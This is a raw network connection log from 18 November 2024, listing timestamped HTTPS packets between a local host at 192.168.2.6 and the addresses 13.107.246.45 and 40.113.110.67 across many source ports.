Nov 18, 2024 00:27:16.354904890 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.472146988 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.472202063 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.472287893 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.472332001 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.472351074 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.472387075 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.589590073 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.589637995 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.589685917 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.589725018 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.589778900 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.589807987 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.706150055 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.706182003 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.706268072 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.706300020 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.706459045 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.823174953 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.823244095 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.823261976 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.823287964 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.823332071 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.823343992 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.940128088 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.940201998 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.940252066 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.940285921 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.940306902 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.940332890 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.061053038 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.061115026 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.061254025 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.061323881 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.061363935 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.061388016 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.097541094 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.097563028 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.097673893 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.097748041 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.097814083 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.178364992 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.178438902 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.178570986 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.178603888 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.178623915 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.178653002 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.291491985 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.291558981 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.291666985 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.291711092 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.291729927 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.291759968 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.408737898 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.408772945 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.408821106 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.408860922 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.408879042 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.413213015 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.449517965 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.449595928 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.449606895 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.449632883 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.449667931 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.449690104 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.497540951 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.497711897 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.497723103 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.497889996 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.497889996 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.497919083 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.497941971 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.541848898 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.541925907 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.542037010 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.542809010 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.542870998 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.542932034 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.543346882 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.543363094 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.543632030 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.543652058 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.545092106 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.545101881 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.546094894 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.546122074 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.546181917 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.546273947 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.546288013 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.546299934 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.546449900 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.546484947 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.547074080 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.547168016 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:17.547252893 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.547363043 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:17.547385931 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.276845932 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.277978897 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.278012991 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.278704882 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.278712988 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.279119015 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.279614925 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.279643059 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.280005932 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.280010939 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.296783924 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.297261953 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.297343969 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.297791958 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.297806978 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410058975 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410068035 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410089016 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410118103 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410146952 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410223961 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410224915 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410257101 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410497904 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410520077 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410531998 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410537958 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410657883 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410686016 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.410700083 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.410707951 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.428965092 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.429020882 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.429099083 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.429164886 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.429207087 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.429250002 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.429387093 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.429419994 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.429461002 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.429476023 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.528083086 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.528171062 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.528250933 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.530023098 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.530057907 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.531101942 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.531166077 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.531240940 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.531593084 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.531610966 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.531976938 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.532021046 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.532073021 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.532206059 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.532218933 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.644417048 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.645344019 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.645366907 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.646043062 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.646049976 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.702558041 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.703063011 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.703087091 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.703615904 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.703624964 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.837053061 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.837527990 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.837605000 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.837645054 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.837668896 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.837681055 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.837688923 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.839734077 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.839756966 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.839818001 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.839834929 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.839874029 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.840843916 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.840949059 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.841041088 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.843750954 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.843786001 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.843801975 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.843810081 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.846012115 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.846059084 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.846134901 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.846297979 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.846343994 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:18.846412897 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:18.846432924 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.256938934 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.257515907 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.257594109 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.258083105 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.258105993 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.262275934 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.262622118 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.262636900 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.263020992 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.263027906 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.281548977 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.282159090 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.282242060 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.282625914 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.282640934 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.391499043 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.391563892 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.391644001 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.391732931 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.391813993 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.391894102 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.391974926 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.392018080 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.392047882 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.392066002 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.393570900 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.393570900 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.393589020 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.393599033 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.395364046 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.395412922 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.395500898 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.397985935 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.398017883 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.398082018 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.398123980 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.398142099 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.398541927 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.398555040 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.419611931 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.419944048 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.420013905 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.420094967 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.420094967 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.420136929 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.420165062 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.422271013 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.422303915 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.422424078 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.422549009 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.422563076 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.592091084 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.597441912 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.600054026 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.600095987 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.600584030 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.600590944 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.600924969 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.600939035 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.601443052 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.601448059 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.727324009 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.727771997 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.727832079 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.729967117 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.730135918 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.730184078 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.743640900 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.743700981 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.743731976 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.743753910 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.745556116 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.745556116 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.745585918 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.745596886 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.752428055 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.752475977 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.752572060 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.753326893 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.753370047 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.753431082 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.754420996 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.754435062 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:19.754653931 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:19.754672050 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.119163036 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.157823086 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.161880016 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.168477058 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.195594072 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.195611954 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.195615053 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.195642948 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.196043015 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.196044922 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.196049929 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.196052074 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.196331978 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.196367979 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.196834087 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.196841002 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.245174885 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:20.245275021 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:20.245378017 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:20.294574976 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:20.294625044 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:20.320338964 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.320405960 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.320506096 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.320708036 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.320769072 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.320923090 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.322313070 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.322417974 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.322618008 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.332312107 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.332361937 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.350811958 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.350811958 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.350831032 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.350831032 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.350840092 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.350852013 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.350858927 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.350868940 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.410274982 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.410316944 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.410535097 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.422382116 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.422447920 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.422569990 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.433767080 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.433783054 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.433856010 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.433959007 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.433969021 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.438673973 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.438709974 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.438774109 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.438796997 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.497880936 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.500441074 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.521980047 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.522006989 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.539124012 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.539144039 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.539449930 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.539478064 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.545372009 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.545392990 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.671595097 CET	443	49727	13.107.246.45	192.168.2.6
